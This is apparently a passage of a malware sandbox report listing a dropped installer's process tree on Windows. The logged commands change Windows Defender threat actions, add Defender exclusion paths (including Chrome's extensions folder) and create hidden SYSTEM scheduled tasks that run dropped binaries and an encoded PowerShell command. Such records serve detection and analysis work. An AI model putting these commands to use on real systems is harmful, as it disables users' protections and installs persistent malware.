- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4252
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 836 -s 9684⤵
- Program crash
PID:2900
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exeC:\Users\Admin\AppData\Local\Temp\7zS5BEB.tmp\Install.exe xv /qipdidw 525403 /S1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4452 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:8 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:508
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:4212
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:1832
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:1264
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:4644
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:4992
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:1964
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:2324
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:4292
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:4408
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:3244
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:4888
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:1456
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:3132
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:4272
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:4064
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:2540
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:2712
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:2156
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:2244
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:2512
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:1080
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:4476
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:3492
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:2528
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:204
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:4652
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:4728
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ATiuMetuMWHU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ATiuMetuMWHU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IchmcMfQaXUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IchmcMfQaXUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UyPATDbiwjgOC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UyPATDbiwjgOC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VcCVDDBRU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VcCVDDBRU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NonltQQlyMoZtVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NonltQQlyMoZtVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ruCXiJvmKkuTmmIt\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ruCXiJvmKkuTmmIt\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1968 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:323⤵PID:3672
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:324⤵PID:4144
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATiuMetuMWHU2" /t REG_DWORD /d 0 /reg:643⤵PID:4140
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:323⤵PID:2896
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR" /t REG_DWORD /d 0 /reg:643⤵PID:4372
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:323⤵PID:3752
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IchmcMfQaXUn" /t REG_DWORD /d 0 /reg:643⤵PID:4284
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:323⤵PID:1300
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UyPATDbiwjgOC" /t REG_DWORD /d 0 /reg:643⤵PID:4016
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:323⤵PID:3508
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VcCVDDBRU" /t REG_DWORD /d 0 /reg:643⤵PID:2000
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NonltQQlyMoZtVVB /t REG_DWORD /d 0 /reg:323⤵PID:4404
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NonltQQlyMoZtVVB /t REG_DWORD /d 0 /reg:643⤵PID:2492
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:3840
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:3632
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo /t REG_DWORD /d 0 /reg:323⤵PID:4924
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\zaBVKDgOQJLqBjiNo /t REG_DWORD /d 0 /reg:643⤵PID:4764
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ruCXiJvmKkuTmmIt /t REG_DWORD /d 0 /reg:323⤵PID:3636
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ruCXiJvmKkuTmmIt /t REG_DWORD /d 0 /reg:643⤵PID:4472
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "giObwDDFG" /SC once /ST 21:22:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Scheduled Task/Job: Scheduled Task
PID:4868
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "giObwDDFG"2⤵PID:1400
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "giObwDDFG"2⤵PID:3116
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "nsbPTSdSgPuDRRbhc" /SC once /ST 15:16:33 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\aYrQxsx.exe\" X4 /iBaEdidZn 525403 /S" /V1 /F2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4640
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "nsbPTSdSgPuDRRbhc"2⤵PID:348
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2552 -s 7002⤵
- Program crash
PID:196
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:656 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:5108
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:4212
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:3504
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:392
-
C:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\aYrQxsx.exeC:\Windows\Temp\ruCXiJvmKkuTmmIt\lexazqZPNEWTjjp\aYrQxsx.exe X4 /iBaEdidZn 525403 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2340 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bmQWCxleEgxbTUrSZz"2⤵PID:704
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵PID:2600
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵PID:2444
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵PID:3924
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4260 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2068
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\VcCVDDBRU\iGUszO.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "RShenKKeUbJzTjI" /V1 /F2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4452
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RShenKKeUbJzTjI2" /F /xml "C:\Program Files (x86)\VcCVDDBRU\bAGpxhk.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:1772
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "RShenKKeUbJzTjI"2⤵PID:4724
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "RShenKKeUbJzTjI"2⤵PID:1100
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YyXYwmYoaLUdkV" /F /xml "C:\Program Files (x86)\ATiuMetuMWHU2\BthKCNc.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:1740
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "sCSWtvWCwRQeU2" /F /xml "C:\ProgramData\NonltQQlyMoZtVVB\pYtUzJl.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:1300
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "iHEexGxGyKiKPpGUc2" /F /xml "C:\Program Files (x86)\DcwzooFfPwZYrvRkwnR\XCSGZsL.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:4404
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bvITFfrvNmRFeACLPQX2" /F /xml "C:\Program Files (x86)\UyPATDbiwjgOC\YrUALCn.xml" /RU "SYSTEM"2⤵
- Scheduled Task/Job: Scheduled Task
PID:3196
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ROHimGgVjIIdgMKwK" /SC once /ST 16:26:16 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ruCXiJvmKkuTmmIt\apFSOeMn\ZzEKqic.dll\",#1 /lQQdidQQS 525403" /V1 /F2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2040
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "ROHimGgVjIIdgMKwK"2⤵PID:4216
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "nsbPTSdSgPuDRRbhc"2⤵PID:4040
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 21402⤵
- Program crash
PID:2708
-
-
